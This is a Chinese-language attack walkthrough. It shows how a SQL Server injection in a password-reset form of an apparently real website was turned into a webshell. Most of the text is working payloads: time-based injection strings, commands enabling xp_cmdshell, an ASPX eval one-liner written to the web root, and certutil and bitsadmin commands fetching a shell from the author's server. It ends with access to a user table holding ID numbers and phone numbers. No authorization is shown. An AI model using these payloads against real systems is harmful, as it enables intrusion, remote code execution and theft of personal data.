實戰|從 SQL Server 注入到 getshell
0x00 目標情況
一個web站點111.*.*.63,只有一個登陸框,測試了沒有注入,沒有弱口令,掃描了全端口,沒有發現什么有用的信息。
0x01 發現注入
當時是查看網頁源代碼,有兩個可疑接口,一個是初始化密碼借口,訪問返回空白頁面,沒有什么用
另一個是密碼設置接口,不過這個接口是同網段的另一個ip 111.*.*.59,訪問后發現是個重置密碼的界面

但是進行密碼重置的時候需要發送驗證碼,系統會先校驗用戶名是否存在,加單引號出錯,and 1=2沒反應
burpsuite抓包后sqlmap跑了下,python sqlmap.py -r 1.txt,存在注入

通過sqlmap得到了這幾個數據庫
[*] HSOA_20170320 [*] HSOA_NEW [*] HSOA_T [*] master [*] model [*] msdb [*] Shuttle [*] SHWT [*] tempdb
0x02 找網站絕對路徑
判斷是不是dba權限(延時后返回正確頁面,確定為dba權限<也可用sqlmap的–is-dba判斷>)
uname=test';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';--
判斷是否是站庫分離(延時后返回正確頁面,確定站庫沒有分離)
uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';--
查看是否有xp_cmdshell
uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'-- 恢復/刪除xp_cmdshell exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' exec sp_dropextendedproc 'xplog70.dll'
開啟xp_cmdshell
# 關閉xp_cmdshell EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',0; RECONFIGURE; # 啟用xp_cmdshell EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
得到網站絕對路徑
可以找一個在網站中的文件,然后可以用dir /s /b d:\"aa.txt"或者 for /r d:\ %i in (aa.txt) do echo %i來得到路徑
查看網頁源代碼發現引入了js腳本"<script src="/Content/layer/layer.js"></script>",就查找layer.js吧
本來想使用sqlmap的--os-shell直接執行命令試試,python sqlmap.py -r 1.txt –os-shell,但是發現執行命令的話一直沒有數據返回
那就手工注入找路徑,先建表,將路徑插入表,然后得到表內容
--在數據庫tempdb下創建臨時表tt_tmp uname=test';use tempdb;create table tt_tmp (tmp1 varchar(1000));--
sqlmap查看建表成功,sqlmap -r 1.txt --dbms "Microsoft SQL Server" -D "tempdb" --tables

查找網站文件并把路徑寫入到表tt_tmp uname=test';use tempdb;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b d:\layer.js';--
用sqlmap得到表tt_tmp的內容: python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --technique=S -D "tempdb" -T "tt_tmp" -C "tmp1" --dump -v 3

0x03 嘗試在111.*.*.59主機getshell
嘗試寫一句話
先在下面的路徑中寫入txt文件驗證網站路徑到底是哪一個
D:\bak\20170226\bak\20170403.2\webapp\Content\layer\ D:\bak\20170226\bak\20170404.2\webapp\Content\layer\ D:\bak\20170226\bak\20170404.3\webapp\Content\layer\ D:\bak\20170226\bak\20170404\webapp\Content\layer\ D:\bak\20170226\bak\20170405\webapp\Content\layer\ D:\bak\20170226\bak\20170407\webapp\Content\layer\ D:\bak\20170226\bak\20180103\webapp\Content\layer\ D:\bak\20170226\bak\20180320\webapp\Content\layer\ D:\bak\20170226\webapp\Content\layer\ D:\bak\20170226\webappYM\Content\layer\ D:\WEBAPP\Content\layer\ uname=test';exec master..xp_cmdshell 'echo test >D:\bak\20170226\bak\20170403.2\webapp\Content\layer\11.txt';--
依次寫文件然后訪問,在寫入 D:\bak\20170226\webapp\Content\layer\123.txt時,訪問http://111.*.*.59/Content/layer/123.txt能正常訪問到123.txt,返回內容為test,證明web路徑就是D:\bak\20170226\webapp
嘗試寫入一句話(< >的前面要加^)
uname=test';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.item["Aa1234567"],"unsafe");%^> > D:\bak\20170226\webapp\Content\layer\cc.aspx';--
訪問時可以看到aa.aspx確實寫入了,但是菜刀連接不上

嘗試直接下載shell到服務器
使用bitsadmin下載時并沒有成功,訪問http://111.*.*.59/Content/layer/aaa.aspx返回404
uname=test';exec master..xp_cmdshell 'bitsadmin /rawreturn /transfer getfile http://my-vps/aaa.aspx D:\bak\20170226\webapp\Content\layer\aaa.aspx';--
使用certutil下載時才成功,得到shell地址http://111.*.*.59/Content/layer/aaa.aspx
uname=test';exec master..xp_cmdshell 'certutil -urlcache -split -f http://my-vps/aaa.aspx D:\bak\20170226\webapp\Content\layer\aaa.aspx';--

0x04 查數據庫相關信息
找到數據庫配置文件



嘗試登陸
找到了用戶表,有用戶名、密碼、姓名、手機號、郵箱、身份證號

在111.*.*.63登陸發現它只是個登陸接口,真正網站是在111.*.*.59的

0x05 附:sqlmap得到路徑的語句分析
cast轉換數據類型isnull判斷數據是否為空,為空的話返回char(32)unicode字符轉換為10進制數字IF(UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(tmp1 AS NVARCHAR(4000)),CHAR(32))) FROM tempdb.dbo.tt_tmp),1,1))>32) WAITFOR DELAY '0:0:1';IF(UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(tmp1 AS NVARCHAR(4000)),CHAR(32))) FROM tempdb.dbo.tt_tmp WHERE CONVERT(NVARCHAR(4000),tmp1)>'D:\WEBAPP\Content\layer\layer.js'),1,1))>16) WAITFOR DELAY '0:0:1';